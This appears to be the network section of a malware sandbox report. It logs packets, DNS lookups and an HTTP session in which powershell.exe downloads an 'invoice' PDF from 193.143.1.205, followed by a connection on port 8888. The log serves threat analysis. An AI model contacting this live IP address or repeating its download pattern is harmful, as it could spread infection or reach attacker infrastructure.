Jan 11, 2025 01:45:42.078752041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078758955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078769922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078769922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078798056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085731030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085743904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085762978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085773945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085791111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085796118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085800886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085817099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085818052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085832119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085838079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085841894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085853100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085855961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085867882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085889101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085889101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085913897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085922003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085956097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.085958958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085968971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.085990906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086004019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.086026907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086059093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.086128950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086139917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086150885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086188078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.086229086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086240053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086252928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086258888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.086262941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086275101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.086287975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.086312056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.109546900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109568119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109579086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109590054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109602928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109642029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.109672070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.109673023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109683990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109693050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.109709024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.109744072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.130489111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130506039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130523920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130537033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130548000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130559921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130568981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130579948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130593061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130608082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.130616903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130629063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130640030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130652905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.130654097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130676985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.130733967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130744934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130759001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130769014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.130772114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.130795002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.136116982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.139396906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139417887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139430046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139441013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139452934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139463902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139465094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.139477015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139488935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.139496088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.139540911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174309015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174335003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174348116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174360037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174375057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174386978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174400091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174411058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174423933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174433947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174441099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174488068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174499989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174510002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174521923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174527884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174532890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174539089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174546003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174552917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174566031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174568892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174578905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174585104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174591064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174598932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174602032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174612999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174623966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174628973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174640894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174652100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174675941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174683094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174706936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174823999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174835920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174848080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174874067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174880028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174890995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174901962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174915075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174916029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174926043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174938917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174947023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174949884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174962044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174964905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174973011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174984932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.174995899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.174998999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175010920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175021887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175026894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175041914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175046921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175055027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175066948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175066948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175079107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175097942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175116062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175121069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175121069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175126076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175139904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175148964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175152063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175178051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175770998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175784111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175796986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175808907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175822973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175827026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175846100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175858974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175869942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175882101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175893068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175904036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175915956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175926924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175939083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.175965071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175965071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175965071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175983906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175983906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.175993919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176004887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176016092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176028967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.176033974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176045895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176048040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.176057100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176069021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176074982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.176080942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176091909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176103115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176114082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176115036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.176126003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176147938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.176635027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176649094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.176742077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.196284056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196299076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196310043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196350098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196361065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196372986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196384907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196396112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.196433067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.196475983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.217277050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217299938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217309952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217323065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217334032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217403889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.217446089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.217464924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217490911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217504978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217514992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217526913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.217528105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217540026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217544079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.217552900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.217575073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.218530893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.218540907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.218554974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.218564987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.218590021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.218674898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228106976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228125095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228137970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228149891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228163004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228176117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228219986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.228279114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.228322029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252043962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252059937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252070904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252082109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252094984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252104998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252118111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252194881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252206087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252208948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252217054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252229929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252249002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252266884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252362013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252372026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252386093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252394915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252396107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252439022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252707005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252717972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252728939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252739906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252768993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.252871037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252880096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.252923965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.452800035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.465200901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.772367954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:43.291163921 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:43.296154022 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:43.296380997 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:43.296456099 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:43.301340103 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:44.062144041 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:44.105128050 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:44.197978973 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:45:51.610723972 CET	60513	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:45:51.610723972 CET	192.168.2.6	1.1.1.1	0xaa03	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:45:51.619340897 CET	1.1.1.1	192.168.2.6	0xaa03	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:45:52.334924936 CET	1.1.1.1	192.168.2.6	0xac4f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:45:52.334924936 CET	1.1.1.1	192.168.2.6	0xac4f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	1460	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:45:40.702846050 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:45:41.501482010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:45:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
